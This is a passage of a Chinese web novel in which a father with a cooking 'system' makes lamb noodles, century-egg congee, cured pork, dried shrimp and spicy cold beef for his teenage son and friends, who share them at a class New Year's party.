羊肉汤不光汤好喝，里面羊肉更是美味，软烂的羊肉轻轻一咬就脱骨，那细腻中隐约带着奶香的滋味，简直越吃越香。羊肉带筋的部分则更有嚼劲着，那胶质的口感吃起来有些弹牙，跟羊肉混在一起吃更是别有一番滋味。 如果说吃之前胡一齐他们还有空夸几句，等开吃后，一个个压根顾不上说话，脸都差点没埋进碗里。 第33章 皮蛋瘦肉粥 温暖滋补的羊肉汤单吃就很美味, 配上手擀面，主食的饱腹感和肉汤的鲜美，更是让人吃得停不下来。 楚瑾钰还好, 他在家经常能吃到用鸡汤、排骨汤煮的手擀面，因此吃相还算斯文。胡一齐在尝到爽滑筋道，同时带着满满羊肉鲜味的面条时，却是越吃越大口，吃得腮帮子都鼓起来。 “慢点吃。”楚易文看到他一口还没咽下去第二口就又塞进嘴里，忍不住提醒。 胡一齐加快咀嚼速度，将嘴里面条全部咽下去后说：“楚爸你做的羊肉汤面太好吃了, 又鲜又爽又滑还筋道，冬天来上这么一碗简直不要太幸福！” 他说完又往嘴里塞块羊肉，再塞口面条, 享受着面条的麦香和羊肉的细腻鲜嫩。 屋子里几人围在餐桌上热闹地吃着晚餐时，外面忽然淅淅沥沥下起小雨来。 “你们干脆别回去了，晚上在我家住。”晚餐结束后, 楚瑾钰主动开口留他们。 儿子都开口了，楚易文肯定不会扫他面子：“是啊, 要不跟你们家里人说一声，晚上就在这住。” “好！”胡一齐答应得最积极。 商时贸和叶其林对视一眼，很快都答应下来，拿出手机给家里人发消息。 家里有客房, 确定几个孩子要在家里留宿，楚易文本来准备将客房稍微整理一下，结果他们却表示不用那么麻烦，跟楚瑾钰一起睡就好。 楚瑾钰房间不小，床是一米八大床, 但四个男生睡显然会很挤。不过都不用楚易文动手，他们自己从柜子里抱出被子就开始打地铺。 家里有地暖，打地铺倒是不会冷，楚易文看到他们一通折腾下来，结果四个人全挤在地铺上，有些好笑。 “床都不睡了？” “楚爸要不你也过来，床正好留给你睡。”胡一齐笑得很开心。 楚易文看着他们在地铺上笑闹的场景，不由回忆起自己十几岁时。 高中时他在学校里住宿，那时候的学生宿舍别说空调，连风扇都没有，夏天的晚上宿舍里热得像是蒸笼一样，他们把凉席卷起来，跑到凉快的地方打地铺…… “明天早上想吃什么？”楚易文带着对过去的怀念望着房间里几个孩子，声音都更温和些。 “我想吃面！” 胡一齐话落，楚瑾钰白他一眼：“晚上才吃的面，谁家好人早上还吃面条！” “那我想吃炸红薯饼！”胡一齐想到自己还没吃过刚出锅的红薯饼，立刻举手示意。 “行，除了红薯饼还想吃什么？”楚易文站在门口和房间里几个孩子讨论着明天的早餐，气氛热闹中透着温馨。 与此同时，商时贸家里，他妈现在才看到他发过来的消息，皱着眉对丈夫道：“看看你的好儿子，晚上又不知道跑哪野去了。” “什么我儿子，难道不是你儿子吗？都是你惯的！”商父声音里透着不悦，“还没成年就这样，以后更是无法无天，还不让他赶紧回家。” “算了算了，他说是在同学家，反正有他哥在，家里以后又不靠他顶立门户，随他去吧。”听到丈夫生气，商母怕小儿子回来会被打，到时候家里又要闹哄哄，于是将话题转移到大儿子身上，“时继最近在公司怎么样？” 看得出来夫妻二人明显更重视大儿子，聊起他很快脸上就都露出笑容，直接把夜不归宿的小儿子抛之脑后。 跟商时贸家重视老大忽视老二不同，邵言易家就他一个孩子，不过他父母是真忙，两个都是工作狂，从小学开始就是由保姆照顾。 至于胡一齐，他跟他爸三天两头吵架，闹离家出走更是不知道多少回，现在他晚上不回家，他爸压根就不管。 当然，胡一齐觉得他爸不管更好，他还自由些，尤其是现在，他觉得待在楚瑾钰家简直不要太舒服。 确定好明天早餐吃红薯饼加皮蛋瘦肉粥后，楚易文道：“那你们早点睡，别玩得太晚。” 说完他就转身回房间去，而楚瑾钰房间四个人凑在一起，想早睡根本不可能。 他们先是开黑打游戏，直到快十二点时，商时贸开口提醒该睡觉了，几人才把手机放下来。然而刚结束游戏的脑子还带着点兴奋，哪能那么快睡着，于是不知是谁起头，四个人又你一句我一句聊起来，等真正入睡时已经快两点。 跟他们比起来，楚易文睡得就要早很多，他晚上十点就进入梦乡，次日醒得也早，天还没亮人已经在厨房。 将洗过的米沥干水分放到冰箱里冷冻，煮出来的粥更容易产生米花，同时粥的口感会更加顺滑。 楚易文从冰箱里拿出昨晚准备的大米，放入砂锅中加水大火烧开后转中小火慢慢煮着。砂锅里米至少要先煮半个小时以上，趁这个时间，他赶紧去把肉切好，调好腌肉料将肉丝腌上。 肉腌好，他又把皮蛋放到旁边的小锅里稍微煮一会，这样能减轻皮蛋的碱涩味，还能让蛋黄凝结，待会切出来更漂亮。 准备肉丝和皮蛋的同时，楚易文没忘记抽空用勺子搅拌一下砂锅里的粥，防止粘锅的同时能让粥更加顺滑。 随着他再次搅拌，砂锅中米香越来越浓郁，趁着还没到下皮蛋的时间，他顺手从菜架上拿几个红薯出来削皮切块。 现实生活中三个月刀工练习时长，再加上系统厨房内不知道累计多久的刀工练习，如今切个红薯块对他来说简直易如反掌，刷刷几下就切完。 一块块大小相同的去皮红薯块堆在盆中散发着红薯特有的清香，看着就很漂亮。楚易文捏起一块丢进嘴里，脆中带粉，粉中带甜的滋味，让他判断出红薯饼不用额外加糖，于是直接调成红薯面糊。 面糊调好，他转头先将切好的皮蛋和姜丝下入砂锅中，轻轻搅拌后，米香中多出一股姜丝特有辛气以及皮蛋香。 肉丝不用那么急着加入，不然煮久了口感太老就不好吃。楚易文将砂锅重新盖上，起锅烧油开始炸红薯饼。 跟砂锅粥比起来，油炸的香味明显更加浓郁，随着金灿灿的红薯饼在油锅里起起伏伏，诱人的香味飘满整个厨房，特别有人间烟火气息。 炸好一盘红薯饼后，楚易文边继续炸，边抽空将肉丝加入砂锅中，轻轻搅拌几下，此时粥已经很是浓稠顺滑。 眼见粥已经要煮好，红薯饼也炸出来不少，几个孩子却没有一个出来，楚易文转头对着厨房外面喊道：“起床吃早餐了。” 房间内。 一米八的大床上没一个人睡，反倒是地铺上躺着四个人。 在其他三人睡得正香时，商时贸耳朵最尖，听见喊声直接坐起来，稍微醒醒神就起身拉开房门：“知道了叔叔，我们起来了。” 他说完转身对着还在睡的三人一人拍了两下，示意他们赶紧起床。 昨晚睡得有点晚，现在根本没睡够，本来胡一齐还想赖床，不过随着刚才商时贸把门打开，很快香味就从厨房飘进房间，炸红薯饼那股焦香中带着香甜气息别提多诱人。 又困又馋的胡一齐揉着眼睛坐起来，心里有点后悔昨晚没早点睡。 楚瑾钰同样打了个哈欠，随即发扬东道主精神，招呼他们去洗漱。 等到四人从房间里出来时，楚易文已经炸完红薯饼，桌上摆着满满好几盘金灿灿、香喷喷的红薯饼，旁边还有一大锅热气腾腾皮蛋瘦肉粥。 被熬出米花的粥看起来特别浓稠，深墨绿色皮蛋躺在粥里，两种颜色组合在一起有点像水墨画。 “好香啊！” 胡一齐深呼吸一口气，闻着炸红薯饼的焦香以及皮蛋瘦肉粥特有的香气，原本还有些犯困的他瞬间就精神起来。 皮蛋瘦肉粥主调是大米经过炖煮产生大量淀粉形成的米粥香，随后就是皮蛋特有的香味和肉鲜味，其中还夹杂着姜丝的辛香，这股姜味并不明显，却很好地中和了皮蛋和肉丝的腥气，让整道粥闻起来更加清爽。 “爸，你几点起来的？”楚瑾钰边拿起红薯饼咬一口边问。 楚易文不答反问：“我更想知道你们昨天是几点睡的？”他刚刚可看到，几个人坐下来前全在打哈欠。 “十二点睡的。”楚瑾钰说完此地无银三百两地补充一句，“冬天觉太好睡了，根本睡不够。” 刚出锅的红薯饼确实更美味，咬下去时表皮发出香脆的咔嚓声，内里的红薯块特别有层次感，最外面是焦香，里面是软糯，而正中心则是软得有点像流心一样香甜。 “楚爸你做的红薯饼太好吃了。要是拿出去卖，怕不是要被人抢疯了！”胡一齐咀嚼着香喷喷的炸红薯饼，好吃到脚都忍不住动起来。 楚瑾钰：“我没骗你吧，刚出锅的就是要更香些。” 四个半大小子是真能吃，你一个我一个，没多久就吃完两盘红薯饼。 “叔叔你煮的皮蛋瘦肉粥真好喝。”商时贸连吃两块饼后开始喝粥，一勺粥刚进肚子他就忍不住夸起来。 用砂锅小火慢炖出来的粥米粒完全开花，几乎完全与水融合在一起，形成细腻如绸缎一般丝滑的口感。煮制后的皮蛋涩味被米粥给柔和，蛋黄绵密鲜香，蛋清弹牙中带着嚼劲。至于肉丝，它不光为粥提供鲜味，吃起来更是鲜嫩爽滑。 叶其林：“我感觉我以前吃的都是假皮蛋瘦肉粥……” “确实，原来粥里的肉可以那么嫩，而且皮蛋一点怪味都没有，太好吃了！”胡一齐连勺子都不想用，直接端起碗大口喝着，越喝越觉得香。 冬天的早上吃着香喷喷的炸红薯饼，喝着暖胃的皮蛋瘦肉粥，简直不要太幸福。 等吃饱喝足从家里离开时，楚瑾钰四人脸上都带着笑容，一路打打闹闹着前往学校。 由于马上就要到元旦，这周开始后学校里大家聊天的内容都跟元旦晚会相关。 元旦节时会有高一带来的文艺表演，到时候全校师生会一起观看。除此之外，每个班还会搞一个班级元旦晚会。 在其他同学都在讨论班级元旦晚会可以表演什么节目时，只有胡一齐心里惦记着吃，一个劲对楚瑾钰说，让他到时候带点蜜汁香辣小鱼干什么的过来。 “要吃你自己说去，反正我看我爸挺喜欢你。” 胡一齐闻言嘿嘿笑起来：“我这么讨人喜欢，咱爸喜欢我不是很正常。” “我算是明白什么叫‘人不要脸天下无敌’。”楚瑾钰无语道。 周五那天楚瑾钰有些犯懒，于是发消息喊他爸给他送饭。中午楚易文开车过来时，胡一齐亲亲热热喊着“楚爸”，还真直接跟他说自己馋蜜汁香辣小鱼干了，想元旦晚会时带到班里边吃边看表演。 “可以啊，不过你得先过来帮我干点活。”楚易文带着几分开玩笑说。 “行啊，干什么活？我最愿意帮忙干活了！” 楚易文本来只是随口那么一说，见他如此积极，便道：“明天准备腌腊肉，需要人给我打打下手。” “腊肉？我喜欢吃腊肉，我外婆以前每到年底都会腌腊肉……” 听到腊肉，胡一齐瞬间就怀念起自己外婆来。他想着要是外婆还在，那他说不定就可以选择跟妈妈一起走，哪怕日子苦点他都愿意。 爱腌腊肉的一般都是老一辈人，楚瑾钰也想起自己奶奶来：“我记得小时候奶奶腌过腊肉，后来好像是爷爷不爱吃，她就没再腌过了。” “你爷爷其实也不是不爱吃腊肉，只是觉得日子好过了，随时有新鲜肉吃，没必再吃腊肉。” 其实楚易文本来也不会主动去腌制腊肉，主要是今天上午系统忽然发布任务，让他腌制腊肉。 系统只发布任务，却没提供腊肉的学习机会，楚易文感觉这个任务怕是有得折腾。给儿子送完饭，他下午回家就开始上网搜索起来，研究腊肉的腌制方法。 周六是个好天气，楚易文将食材买回来后，带着四个小帮手开始做腊肉。他先自己将买回来的猪后腿肉交切成长条，随即交给几个孩子清洗。 其实网上也有说湿肉腌制容易坏，建议不要洗肉，只用高度酒精擦几遍就好。但楚易文感觉还是洗一下更干净，最多洗完把肉上水分擦干。 胡一齐：“咦，好多油啊……” 四个孩子手上都戴着手套，不过还是感受到从猪肉上传来的油腻感。 楚瑾钰：“废话，猪肉肯定有油。” “洗完水一定要擦干。”楚易文交代完他们，自己则是去炒盐和香料。 将盐和八角、花椒等香料放到锅里小火慢炒，炒到盐的颜色微微变黄后，他关火等待放凉，随即转身将几个孩子洗干净擦干的肉用铁签子扎些小孔，方便腌制入味。 等炒好的盐放凉，楚易文带着几个孩子一起先往肉上抹一遍白酒，再把炒好的盐均匀用力地抹进肉的每个缝隙。 胡一齐感觉还挺好玩，边用力搓揉边问：“楚爸，不是有茅台，怎么不用它来腌肉？” “太奢侈了。”楚易文觉得腌个腊肉而已，普通白酒就够用，哪有用茅台的。 胡一齐：“没事，我家有好多，放着也是浪费。” 他主要觉得，他爸喝了也是浪费，还不如自己拿来用掉。 所有的肉条都搓上盐后，楚易文全部检查一遍就让几个孩子洗手去。 “不用晾起来吗？我看奶奶以前都是把腊肉晾起来的。”楚瑾钰见他爸把肉都堆放在盆里，感觉有哪里不对。 胡一齐：“我记得我外婆以前都要把肉放到火上熏。” “还没到你们说的那些步骤，先这样腌几天，等腌入味后再挂起来晾晒，晒完可以在半干时进行熏肉，也可以直接晒干不熏。” 楚易文说完，几个孩子似懂非懂地点点头，随即叶其林感叹道：“那做腊肉还挺费时间，我还以为这样就已经做好了。” “等完全做好，估计要到元旦后。” 楚易文说完把手洗干净，开始给几个孩子做饭。 吃饭时，由于聊到班级元旦晚会这个话题，他笑着询问自家儿子：“你们到时候要表演节目吗？” “不表演，我要当观众。”楚瑾钰吃着香喷喷的啤酒鸭，觉得自己又不是闲的慌，干嘛要去表演。 楚易文倒是没有说他只想当观众有什么问题，反而道：“行吧，那到时候我多做点吃的，你就在底下慢慢吃。” 说完他在心里盘算起来，除了蜜汁香辣小鱼干，还有什么适合带到学校吃，很快想到自己前两天刚学的冷吃牛肉。 商时贸见他并没有因为楚瑾钰说不想表演就指责他没出息，心里生出几分羡慕，嘴里的红烧鱼忽然都失了几分味道。 “楚爸有我的份吗？”胡一齐立刻问。 楚易文：“当然，你们活都帮我干了，好吃的肯定少不了你们。” “楚爸你真好！”胡一齐想到元旦当天有他做的零嘴，高兴得差点没从椅子上跳起来。 既然答应给几个孩子做好吃的，楚易文就将这件事放在心上，他感觉只有蜜汁香辣小鱼干和冷吃牛肉还是有些少，于是接下来几天没事就往外跑，想看看能不能再收获些食谱。 功夫不负有心人，楚易文在海鲜市场买鱼时，还真让他又获得好几个菜谱，其中就有个烤虾干的菜谱。 进入系统厨房学习这个菜谱时，他光抽虾线就抽了好久，等处理好食材，接下来就是给虾去腥，然后再烤。 虾干做法并不难，只要记住低温慢烤和勤翻面就好。楚易文只试了两次就做出色泽金红，颜色透亮，看起来干爽硬挺的虾干。 他拿起一只虾干送进嘴里，外壳酥脆，内里虾肉紧致有嚼劲，咀嚼间虾肉的纤维感越吃越香。恰到好处的咸味将虾的鲜味完全激发出来，那咸鲜的滋味和烘烤产生的焦香，令人回味无穷。 楚易文越吃越觉得香，感觉几个孩子应该都会喜欢这种小零嘴，从系统厨房离开后直接就去采购食材。 离元旦节晚会还有两天时，他就已经做出十多斤虾干，用密封的盒子装好。 然而楚瑾钰在无意间发现这些虾干可以直接吃，本来只是随便尝尝，结果吃完却是有些上瘾，时不时就想吃几个。 外脆里韧的虾干简直越吃越香，每次他都在跟自己说吃最后一个就停手，但根本停不下来。 “你再吃元旦就没有了。” 楚易文在发现原本十斤左右的虾干只剩下几斤时，觉得自家儿子简直像是回到幼儿园时期一样，家里只要有点零食就留不住。 发现本来只准备吃几个，结果不知不觉吃掉一大堆的楚瑾钰有些不好意思。 “不怪我，主要是爸你做的这个虾干吃起来简直有瘾，感觉一吃就停不下来。”楚瑾钰说完又拿起一个塞进嘴里，享受着刚咬下去时酥脆的咔嚓声，以及内里虾肉的咸鲜紧致。 楚易文也是拿他没办法，摇摇头后决定还是明天再多做点。 班级元旦晚会前一天，他不光又做了二十斤虾干，还做了不少蜜汁香辣小鱼干和冷吃牛肉。 学校里，胡一齐见楚瑾钰光描述虾干有多好吃，却不知道带点过来，用幽怨的眼神望着他。 “你急什么，明天不就能吃到了。”不是楚瑾钰不想带，主要他已经吃掉一半的虾干，再往学校带，他真怕他爸要敲他脑袋。 说完见胡一齐还在盯着自己，他补充道：“除了蜜汁香辣小鱼干和虾干，我爸说还有冷吃牛肉。” 明天就是班级元旦晚会，不光楚瑾钰他们心思不在学习上，班里其他同学同样如此，不过他们讨论的却是晚会当天班里会买什么好吃的。 次日，本来楚瑾钰早上就准备将虾干等零嘴带到学校去，但楚易文问了一句：“你确定现在拿过去能留到晚上吃？” 楚瑾钰：“……”他还真不确定，于是决定还是等吃过晚饭再带。 第34章 冷吃牛肉 冬日的天黑得特别早, 楚瑾钰吃过晚饭从家里出来时，天色已经微微变暗。 今天晚自习时间会用来搞班级元旦晚会，光是想到这点他就挺高兴, 走向学校的步伐都不自觉加快。 “快给我看看咱爸做的冷吃牛肉和虾干！” 食堂门口，胡一齐看到他终于过来，迫不及待迎上前。 只能说人都有些喜新厌旧，明明最开始他是想吃蜜汁香辣小鱼干，得知楚易文做了冷吃牛肉和虾干后，现在满脑子都是这两样。当然，倒不是说蜜汁香辣小鱼干不好吃, 主要是小鱼干他已经吃过几回。 “就你个狗窝里留不住剩馍的，我可不敢给你看。”楚瑾钰觉得要是给他看见，那不用等晚会开始估计就会被吃得差不多。 胡一齐：“你怎么这么说我, 我就看看，不吃。” “我信你个鬼。”楚瑾钰说完将手里保温桶塞进他怀里，“吃饭去吧你！” 好在还有晚饭能堵住他的嘴, 胡一齐终于没再纠缠，拿着保温桶跟叶其林、商时贸三人开始吃饭。 今天晚餐有栗子烧鸡, 保温桶盖子刚打开，鸡肉混着栗子特有的香味瞬间就飘散开来，可把在附近的其他学生给馋坏。 说来也挺巧，食堂今天也有栗子烧鸡吃, 只是跟楚易文精心挑选食材，再认真烹饪的不同，食堂卖的栗子烧鸡乍一看好像还不错，仔细看过去，里面鸡脖子等乱七八糟的肉特别多, 栗子都是碎的，吃倒是能吃，但味道很是普通。 胡一齐咀嚼着皮滑肉嫩还带着栗子清香的鸡肉道：“还是咱爸做的栗子烧鸡好吃！” 保温桶里菜不少，但对于吃货来说，好吃的当然是越多越好，因此他吃着吃着就又盯上楚瑾钰身上那个包：“来点冷吃牛肉尝尝呗。” “你吃饭就好好吃，别总想其他的。”楚瑾钰本来还想摸个虾干啃啃，见他饭还没吃完就惦记上晚上的零嘴，觉得自己还是先别吃了。 晚餐结束，四人回到教室里时，班里其他同学已经在搬桌子，还有人正在前面黑板上写字画画，为晚会做准备。 楚瑾钰他们顺手就将自己的桌子搬起来靠墙放好，随即坐下等待晚会开始。 在胡一齐挨着楚瑾钰使劲各种方法想从包里掏吃的时，很快班上桌子已经全部靠墙，黑板上写着“元旦晚会”几个大字，天花板上挂起彩带和气球，同时音响设备开始播放音乐，节日气氛瞬间就起来。 “来，发吃的了。” 班长带着几个同学按顺序开始发用班费买的零食，有瓜子、糖果、辣条、薯片、可乐，种类倒是不少，就是分到每个人手里不算特别多。 不过同学们其实都会自己带吃的过来，倒是也不差班里发的这点。 “你看，吃的都发下来了，你也别藏着了，快把好吃的拿出来。”胡一齐看到班费零食发下来，赶紧对楚瑾钰说。 楚瑾钰自己其实也有点馋，见附近其他同学都已经开吃，终于打开包将东西一样样往外拿。 先是一盒洗干净的车厘子，然后是草莓、圣女果。 见他慢悠悠掏出几样水果，胡一齐等不及地把手伸进包里，直接摸出来一盒虾干。 隔着密封盒都能看清楚大虾那漂亮的颜色，胡一齐顺手就把盖子打开，一股虾鲜味扑鼻而来，香得他瞬间就馋了。 没有盖子阻挡，虾干看起来色泽透亮，透过半透明的虾壳能看清楚里面淡橘红色的虾肉。烘烤产生的美拉德反应让虾干除了鲜，还带着股焦香和烘烤坚果香，香味不霸道，却像羽毛挠过人心底一样，令人心里痒痒的，越闻越想吃。 胡一齐直接拿起只虾塞进嘴里，那酥脆的外壳，那紧致的口感，还有越嚼越香的滋味，简直好吃得不行。 低温慢烤将虾本身那股鲜甜味最大限度激发出来，同时由于去腥做得很到位，吃进嘴里咸鲜回甜，咀嚼中淡淡的焦香和坚果气息更令人回味悠长。 楚瑾钰看到他三下五除二吃完一只虾，连虾壳都给吃掉，赶紧开口：“你虾壳不吐吗？” “虾壳酥脆得能直接吞下去，而且特别香，吐掉好浪费。”胡一齐说完忍不住又拿起只虾，刚咬下去就感叹道，“好香啊，楚爸做的这个虾干，鲜得我差点没咬到舌头。” “虾壳你还是别吃了，或者咬两下吐出来也行。”楚瑾钰看到他还是带壳一起吃，有些无语。 而叶其林和商时贸看到胡一齐吃得那么香，都纷纷朝虾干出手。 虾干是那种越吃越香，越吃越上瘾的好吃，两个人不吃还好，一吃就很胡一齐一样，根本停不下来。不过跟胡一齐不同，他们两个还是稍微讲究点，没连壳一起吃，最多忍不住咬两下壳就吐出来。 楚瑾钰在家已经吃了好多虾干，不过现在看到他们吃，手还是很诚实地拿起一只，觉得不愧是他爸做的虾，就是香。 虾干香味不霸道，但格外悠长，随着香气飘散，很快就吸引班上其他同学。本来大家都坐在位置上吃着零食还挺开心，在闻见虾干特有的香味时，手里零食瞬间就不香了。 与此同时，班主任来到教室，发现他们已经都吃上，笑着说了几句话后，宣布今天晚会正式开始。 随着教室中央有人开始表演，埋头认真啃虾的胡一齐终于稍微抬起头来，边看边吃。 嘴里虾还没吃完，他又惦记上牛肉，对着楚瑾钰说：“不是还有冷吃牛肉？” “在桌上，要吃自己拿。” 楚瑾钰话落，胡一齐低头寻找起来，立刻看到好大的两个保鲜盒：“哇，楚爸可真好！竟然做了那么多！” 说话时他已经打开一盒冷吃牛肉，深褐色的牛肉条被大量红辣椒、花椒等调料包围，金黄色的熟芝麻均匀地洒在上面，卖相别提多诱人。 冷吃牛肉何止卖相漂亮，香味更是霸道，开盖那一瞬间麻辣香气扑鼻而来，随即牛肉的焦香和脂香直往鼻子里钻，还没吃就能把人口水给馋下来。 “好香啊……” 坐在附近的同学闻着香味纷纷看过来，就看到胡一齐用牙签扎起条牛肉塞进嘴里。 牛肉条经过长时间煸炒，此时吃起来干香有嚼劲，咀嚼间先尝到麻辣味，随后牛肉的鲜香与麻辣味融合，仔细品味一下，还能尝到点回甜。 麻、辣、鲜、香、甜，五种滋味融合在牛肉条上，简直越吃越香，越吃越过瘾。 “太好吃了！怎么会有这么好吃的牛肉，跟楚爸做的冷吃牛肉比起来，我以前吃的什么灯影牛肉、牛肉干简直都是垃圾。”胡一齐发自内心夸奖。 见他把盒子抱在怀里，恨不得一个人吃整盒的模样，楚瑾钰懒得理他，打开另外那盒招呼旁边的邵言易也尝尝。 “都是我爸亲手做的，你尝尝味道怎么样。” 虽然现在他没再找邵言易抄作业，但日常需要他讲题的时候还挺多，楚瑾钰如今算是把他当作半个朋友。 “谢谢。” 今天这种节日氛围下，大家本来就会互相分享零食，邵言易没有拒绝，将自己带点糖炒栗子推到中间示意他们也吃后，拿着牙签吃了条牛肉。 麻辣鲜香的冷吃牛肉特别耐嚼，咀嚼间除了牛肉本身的香味，还有芝麻香和辣椒籽的香气。甚至连沾在牛肉条上的辣椒吃起来都是酥脆的，能混着牛肉一起吃掉，而不是吐出来。 “怎么样？”楚瑾钰边吃牛肉边随口问。 邵言易：“很好吃，比外面卖的还好吃。” “那你多吃点，别客气。”楚瑾钰知道自己要是不说，他估计尝两口就不吃了，甚至特意将盒子往他那边推了两下。 至于叶其林他们三个，根本不用楚瑾钰招呼，已经完全沉浸在冷吃牛肉的美味中，吃得嘴巴就没停过。 可能是看到楚瑾钰在跟邵言易分享，也可能是节日氛围很好，有实在忍不住馋的同学拿着自己带的零食过来找楚瑾钰。 “不用换，你直接吃呗。”楚瑾钰人并不小气，别人不问他可能不会主动分享，但是有人过来开口，他还是挺大方。 “谢谢。” 他不要归不要，过来询问的同学还是把零食放下来才去尝牛肉。 “太好吃了！真不是在外面买的吗？” 楚易文做的冷吃牛肉手艺先不说，光是食材都绝对新鲜，加上他对牛肉与调料的配比把握得特别好，外面卖的还真比不上他做的。 楚瑾钰：“不是买的，是我爸自己做的，他没事就爱研究美食。” 他之所以会这么说，显然是发现他爸现在没事就爱刷美食相关视频。 “你爸真厉害，不像我爸，别说做牛肉，上次我妈不在家，他做个蛋炒饭差点没把我送医院去。” 随着第一位同学过来交换零食，其他同学都开始坐不住，一个个都拿着吃食摸过来。 冷吃牛肉麻辣鲜香，虾干肉质紧实，蜜汁香辣小鱼干外酥里韧，这三样美食随便哪个都特别好吃，同学们品尝过后简直羡慕死楚瑾钰。 “我回家就要跟我爸说，让他学学别人家爸爸！” “笑死，你要倒反天罡啊。” “这个小鱼干太好吃了，我记得小时候家里经常会买类似的小鱼干，不过是给我爸下酒的，我特别爱吃，可惜长大后找不到这么好吃的小鱼干。” “楚瑾钰，你爸有考虑开个店来卖这些吗？要是开的话，我肯定天天去光顾。” 眼见越来越多同学被吸引过来，胡一齐赶紧加快进食速度，而与此同时，班主任也被这边的热闹给吸引过来。 “你们不看表演，都围在这里干嘛？” “我们在吃楚瑾钰他爸做的零食，超级无敌好吃！” 班主任还没走近就闻见香味，等走过来时就看到桌上色香味俱全的几样吃食。 “我可以尝尝吗？” 楚瑾钰对班主任没什么意见，毕竟上次他跟隔壁班学生打起来时，班主任叫家长归叫家长，但在那之前还是挺护犊子的，在隔壁班老师批评他不该动手打人时，直接反问对方的学生为什么要到他们班里来闹事。 得到他同意后，班主任先尝了下牛肉，第一口就被惊艳到，觉得特别适合用来下酒。 干香却不柴的牛肉越嚼越香，微微的甜味中和那股麻辣气息，吃起来简直有些上瘾。跟冷吃牛肉比起来，虾干整体味道比较清淡些，但源自食材本身的鲜味以及烘烤产生的焦香，简直令人欲罢不能。 蜜汁香辣小鱼干整体口味是甜中带辣，辣中带咸，咸中带鲜，同样是道适合下酒的小零嘴。 班主任每样尝过一遍后，赞不绝口：“你爸的手艺真是没得说，做出来的吃食简直是人间美味。” “那老师你多吃点。”楚瑾钰客气道。 换做平常，班主任顾虑自己为人师表的身份肯定得矜持一下，不过今天是过节，听到他这么说，还是没忍住用一次性碗每样装了点走。 当然，班主任没白吃他的，转头就拿了几样零食放到他桌上。 其他同学看到班主任连吃带拿，眼神里都透着羡慕，忽然有种还是当老师好的想法。 楚易文知道几个孩子都很能吃，他准备的零食是真不少，水果就先不提，光是虾干就有十斤，做冷吃牛肉更是用了八斤牛肉，香辣小鱼干也有好几斤。 可东西再多也经不住全班那么多人你来蹭一口，我来蹭一口，很快几个盒子里都只剩下个底。 “小心辣到肚子。”楚瑾钰在看到有人连冷吃牛肉里的辣椒都不放过时，开口提醒。 直到那三样吃食全部被吃完，大家终于意犹未尽地回各自位置上去，不过嘴上还是忍不住讨论着冷吃牛肉、虾干和蜜汁香辣小鱼干的美味。 “你们有没有爱吃的？都挑些走，我可吃不了那么多。” 楚瑾钰望着自己桌上高高堆起的零食，其实主要是对邵言易说。 刚刚他让同学们直接吃，不用跟他交换，但大部分同学都不好意思直接吃，多多少少都留下零食，以至于现在他桌面上零食多到可以去摆摊卖。 邵言易不想拿，毕竟刚刚都已经吃了不少，哪有连吃带拿的道理。 “客气什么，这么多零食吃不完也是浪费。”楚瑾钰说完直接把零食抱起来，也不光只分给他，而是将坐在周围的同学全部分一圈。 把零食都分出去，他望着自己干净的桌面，总算舒服了。 胡一齐已经吃撑着，不过嘴巴还是馋，边嗑着瓜子边看表演，同时还不忘对楚瑾钰说：“你可不能吃独食，下次楚爸要是在家做了虾干和冷吃牛肉，记得带过来。” “你还没吃够吗？” 楚瑾钰又不瞎，今天晚上谁吃得最多他可有看见，别人吃牛肉是一条一条吃，他是几条几条往嘴里塞，也不怕把腮帮子咬疼。 “这么好吃的东西，天天吃也不够啊。”胡一齐回味着麻辣鲜香的牛肉，还有越嚼越有韧劲的虾干，感觉又馋了。 楚瑾钰朝他伸出大拇指：“你牛，你牙口是真好。” 今天这三样吃食其实都挺有嚼劲，相对来说吃起来也挺费牙，不怪楚瑾钰夸他牙口好。 好吃的吃完，大家终于有心情好好看表演，同学们有人唱歌，有人跳舞，有人表演弹吉他，教室里气氛越来越热闹。 楚瑾钰本来只准备当个观众，然而可能是节日氛围太好，又或许是经过刚刚的美食分享，同学们对他正热情，最终被胡一齐拉着一起表演了个小魔术，收获热烈的掌声。 除了表演，还有游戏环节，到蒙眼踩气球这个游戏时，由于参与人数不够，班主任直接拿出自己还没来得及吃完的冷吃牛肉当奖励，表示前三名有牛肉吃。 这奖励可比原本的奖品要吸引人，同学们瞬间就踊跃参与，甚至连胡一齐都加入进去。 “他有毒吧。”楚瑾钰忍不住对叶其林吐槽，毕竟其他同学还能说是馋冷吃牛肉，但他刚刚都吃那么多，真不至于还去跟人抢一条牛肉吃。 在香喷喷的冷吃牛肉诱惑下，被蒙上眼睛的同学们那叫一个拼，游戏刚开始就响起好多气球爆炸声。 游戏结束时，胡一齐排在第四名，遗憾地错过奖励，而前三名同学从班主任手里拿到冷吃牛肉，吃得那叫一个香。 直到元旦晚会结束时，胡一齐还忍不住叹气，觉得自己差点就能超过第三名，实在有些遗憾。 “行了行了，牛肉是没有了，明天我再给你带点虾干。”楚瑾钰是真受不了他，直接曝光自己家里还有虾干的事。 胡一齐闻言眼睛瞬间就亮起来：“太好了！那你明天多带点。” “你也不怕上火。” 楚瑾钰无语，说完懒得再理他，背着书包直接回家去。 楚家。 楚易文原本坐在客厅沙发上正在看腊肉的腌制视频，听到外面传来的动静，直接起身去开门。 “回来了，今天晚会怎么样？好玩吗？” “还行，你给我带的东西全都吃完了。”楚瑾钰走进家里，换好鞋就开始从包里往外掏空盒子。 楚易文见盒子里被吃得很干净，直接掀开盖子丢进洗碗机里去清洗。 “牛肉怎么样？味道会不会太辣？” “不辣，我们班同学都很爱吃，你是没看到，有几个人才连里面辣椒都没放过。还有胡一齐，他也是个人才，吃虾干时虾壳都不吐……” 楚瑾钰吐槽完胡一齐后想到什么，声音都微微上扬：“不光同学们都抢着吃，连我们班班主任都被吸引过来，一个劲夸你做的东西好吃，到玩游戏环节时还把冷吃牛肉当奖励，引得班里同学都抢着参加游戏，最无语的是胡一齐他也跑去玩游戏，不过只排到第四名。” 楚易文听着儿子的描述，几乎能想象到今晚他班上有多热闹。 “家里还有不少虾干，明天可以拿过去跟同学们一起分着吃。” “好，正好胡一齐还没吃够，喊我明天给他带。” 由于在教室已经吃饱，今晚楚瑾钰吃不下加餐，父子二人简单聊几句就各自回房间休息。 元旦过后的第一个周六，楚易文之前做的腊肉已经晒到半干，他决定拿出一部分来熏一下。 得知他要熏腊肉，胡一齐他们当然不愿意错过，纷纷跑来凑热闹。 